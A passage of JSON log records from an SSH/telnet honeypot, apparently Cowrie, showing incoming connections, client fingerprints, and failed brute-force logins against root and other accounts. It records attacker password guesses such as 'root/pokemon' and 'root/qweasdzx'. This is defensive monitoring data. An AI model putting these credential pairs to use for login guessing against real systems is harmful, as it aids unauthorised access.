11:f1:45:96:fa:ee:50:9b:46:bf:f1:d2:83:71:be:c1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:24.198648Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:f1:45:96:fa:ee:50:9b:46:bf:f1:d2:83:71:be:c1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJMqCnSMYyeC0m4HFoJ9XUSGR+5j8YO5MXm/OLSHIOSqubaM15U+Cb5otoijQJ9s1Qy44TKg/oPz5SpjnWVLdxTg5tM3/0AIqCwbmpFpU4opiRHgX9QgZ5oryjWAFbBlhPaYWfH9LzKXdQf0oKWbpEb3F++WbxjxL1xMHF4I1lQUa+6vrOyGADpksELj7UBEXzW+WFtlRtiXorprNPfsrZK/Jx5TO1XFe9L2gTsflFu6qDLMpf9jLiWO4qBE+M+sC+JUL+ABSe9t3g1C9KQZhyXyDjRxPX0wTpI3bpMacKsrYGl91nYrwNtV8AtOeGI/JqG9Qe0ytrx1OxQvCDukPUTSJGcJgtnA18kb3x3+1S8YX/EHhowk0J3L9ur5EwLt3nH6IhFp/GC9e0lUpvAXvF2MyGvFQTzNkG+WFND3qtYQSnEA2IPWmJR+HhdLRyvYMk6Y6WoR1jtA4RMmpHK9QV0WPNulDO2Pvg8AXG804Irf6wRyn03RMoM5QQyvVM3O8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:24.207042Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d0:dd:8c:a6:83:17:8b:2f:df:ea:03:de:19:01:43:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpsOszPRbRI31IS8J819EQfATIVSzNchholD1vSt/4k4q7W/ltQLVdcFYGmzt8XTtSfl2QqdmWPEtOdz33n8WekEDSn4DYFI8dOejC/y486Qc6czwL9lC1Lf+MYoi4OTd7hHALGztnqT7DsuQwJVa5aiddTF7EUEKoGSzxeiGkKjL+Z+Dom5b/0Andmz325oeevU03z4r8KGgcL6VF+AmfYdqnGiJ0aRGD57tqMytwmZZjQxRYEt6Wan2JpRHbkqD7BbUCxbyDPYXcSSW9dKPhvSP6p155j+j+jVFNiqIWA02XY1eIucduOOqbLdN9Vp3ZVRYpbHlyfrYJzqJlZKTDCd7ycDUNnMF8tltmEcg9n0radza+iopOpkz4Jl8heLabsZCq3uX0vYwcWONQrJy+jktWHOeVbBvExItpYyImkaC7tk9IB/l3efas3TcX8LXoJN2bXie0UeLuVii8/oFt0uhF4kO2WC2PQQvzq4ZP+DdNjqyPigd9nOegwpGlRFc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d0:dd:8c:a6:83:17:8b:2f:df:ea:03:de:19:01:43:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:24.236217Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d0:dd:8c:a6:83:17:8b:2f:df:ea:03:de:19:01:43:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpsOszPRbRI31IS8J819EQfATIVSzNchholD1vSt/4k4q7W/ltQLVdcFYGmzt8XTtSfl2QqdmWPEtOdz33n8WekEDSn4DYFI8dOejC/y486Qc6czwL9lC1Lf+MYoi4OTd7hHALGztnqT7DsuQwJVa5aiddTF7EUEKoGSzxeiGkKjL+Z+Dom5b/0Andmz325oeevU03z4r8KGgcL6VF+AmfYdqnGiJ0aRGD57tqMytwmZZjQxRYEt6Wan2JpRHbkqD7BbUCxbyDPYXcSSW9dKPhvSP6p155j+j+jVFNiqIWA02XY1eIucduOOqbLdN9Vp3ZVRYpbHlyfrYJzqJlZKTDCd7ycDUNnMF8tltmEcg9n0radza+iopOpkz4Jl8heLabsZCq3uX0vYwcWONQrJy+jktWHOeVbBvExItpYyImkaC7tk9IB/l3efas3TcX8LXoJN2bXie0UeLuVii8/oFt0uhF4kO2WC2PQQvzq4ZP+DdNjqyPigd9nOegwpGlRFc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:24.239769Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:26:94:4b:f8:e8:1c:d3:9f:61:c0:d5:9c:e7:94:84","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC7VPenJLF3hWUzf2vb5hXfN0D08beyjstvgPWlL22eY","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 7f:26:94:4b:f8:e8:1c:d3:9f:61:c0:d5:9c:e7:94:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:24.268883Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:26:94:4b:f8:e8:1c:d3:9f:61:c0:d5:9c:e7:94:84","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC7VPenJLF3hWUzf2vb5hXfN0D08beyjstvgPWlL22eY","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:24.273425Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:24.306383Z","src_ip":"184.154.78.51","session":"d89a40ec8aa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.26.82.246","src_port":37874,"dst_ip":"159.203.135.109","dst_port":22,"session":"888cb6d746b5","protocol":"ssh","message":"New connection: 36.26.82.246:37874 (159.203.135.109:22) [session: 888cb6d746b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:34.014745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:34.019940Z","src_ip":"36.26.82.246","session":"888cb6d746b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:34.242469Z","src_ip":"36.26.82.246","session":"888cb6d746b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pokemon","message":"login attempt [root/pokemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:35.180626Z","src_ip":"36.26.82.246","session":"888cb6d746b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:36.413493Z","src_ip":"36.26.82.246","session":"888cb6d746b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":50324,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b7e731602a1","protocol":"ssh","message":"New connection: 103.77.175.15:50324 (159.203.135.109:22) [session: 8b7e731602a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:39.937551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:39.942730Z","src_ip":"103.77.175.15","session":"8b7e731602a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:40.207476Z","src_ip":"103.77.175.15","session":"8b7e731602a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vaz21099","message":"login attempt [root/vaz21099] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:40.992369Z","src_ip":"103.77.175.15","session":"8b7e731602a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:42.256808Z","src_ip":"103.77.175.15","session":"8b7e731602a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59778,"dst_ip":"10.17.0.5","dst_port":23,"session":"b64c8612aac3","protocol":"telnet","message":"New connection: 192.119.13.58:59778 (10.17.0.5:23) [session: b64c8612aac3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:44.087587Z"}
{"eventid":"cowrie.session.closed","duration":33.72300434112549,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:46.585557Z","src_ip":"192.119.13.58","session":"6f5668d3504e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46744,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa62604c401","protocol":"telnet","message":"New connection: 192.119.13.58:46744 (10.17.0.5:23) [session: caa62604c401]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:49.644381Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47148,"dst_ip":"10.17.0.5","dst_port":23,"session":"9db62605e8d3","protocol":"telnet","message":"New connection: 192.119.13.58:47148 (10.17.0.5:23) [session: 9db62605e8d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:49.795791Z"}
{"eventid":"cowrie.session.closed","duration":44.23292541503906,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:51.883955Z","src_ip":"192.119.13.58","session":"b7b84d7fcb03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":47342,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c4dbed9426f","protocol":"ssh","message":"New connection: 14.224.227.189:47342 (159.203.135.109:22) [session: 6c4dbed9426f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:53.358188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:53.362680Z","src_ip":"14.224.227.189","session":"6c4dbed9426f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:53.611649Z","src_ip":"14.224.227.189","session":"6c4dbed9426f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"charly","password":"charly","message":"login attempt [charly/charly] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:54.636762Z","src_ip":"14.224.227.189","session":"6c4dbed9426f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:55.886645Z","src_ip":"14.224.227.189","session":"6c4dbed9426f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.683908224105835,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:04:56.838509Z","src_ip":"186.195.16.41","session":"b3c3e1b4bbad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.82109212875366,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:01.203840Z","src_ip":"192.119.13.58","session":"684a523728b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44776,"dst_ip":"10.17.0.5","dst_port":23,"session":"db0fb6a42735","protocol":"telnet","message":"New connection: 192.119.13.58:44776 (10.17.0.5:23) [session: db0fb6a42735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:08.273301Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47174,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccc5c841ee8e","protocol":"telnet","message":"New connection: 192.119.13.58:47174 (10.17.0.5:23) [session: ccc5c841ee8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:09.059966Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":37644,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f807d60af4b","protocol":"ssh","message":"New connection: 43.156.97.164:37644 (159.203.135.109:22) [session: 2f807d60af4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:13.594973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:13.600706Z","src_ip":"43.156.97.164","session":"2f807d60af4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:13.835767Z","src_ip":"43.156.97.164","session":"2f807d60af4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ansadmin","message":"login attempt [root/ansadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:14.792711Z","src_ip":"43.156.97.164","session":"2f807d60af4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:16.028926Z","src_ip":"43.156.97.164","session":"2f807d60af4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":38446,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a56379b90a4","protocol":"ssh","message":"New connection: 103.153.68.219:38446 (159.203.135.109:22) [session: 4a56379b90a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:20.875573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:20.880637Z","src_ip":"103.153.68.219","session":"4a56379b90a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:21.127631Z","src_ip":"103.153.68.219","session":"4a56379b90a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57338,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d377a220a51","protocol":"telnet","message":"New connection: 192.119.13.58:57338 (10.17.0.5:23) [session: 5d377a220a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:21.578541Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasdzx","message":"login attempt [root/qweasdzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:21.880363Z","src_ip":"103.153.68.219","session":"4a56379b90a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.109002351760864,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:21.904684Z","src_ip":"192.119.13.58","session":"9db62605e8d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58940,"dst_ip":"10.17.0.5","dst_port":23,"session":"7beade30ddab","protocol":"telnet","message":"New connection: 192.119.13.58:58940 (10.17.0.5:23) [session: 7beade30ddab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:22.130992Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:23.130996Z","src_ip":"103.153.68.219","session":"4a56379b90a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37140,"dst_ip":"10.17.0.5","dst_port":23,"session":"0070d779db08","protocol":"telnet","message":"New connection: 192.119.13.58:37140 (10.17.0.5:23) [session: 0070d779db08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:24.302270Z"}
{"eventid":"cowrie.session.closed","duration":41.77589392662048,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:25.863377Z","src_ip":"192.119.13.58","session":"b64c8612aac3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":40910,"dst_ip":"159.203.135.109","dst_port":22,"session":"b110c81a38b0","protocol":"ssh","message":"New connection: 41.242.115.83:40910 (159.203.135.109:22) [session: b110c81a38b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:28.545359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:05:28.550816Z","src_ip":"41.242.115.83","session":"b110c81a38b0","protocol":"ssh"}
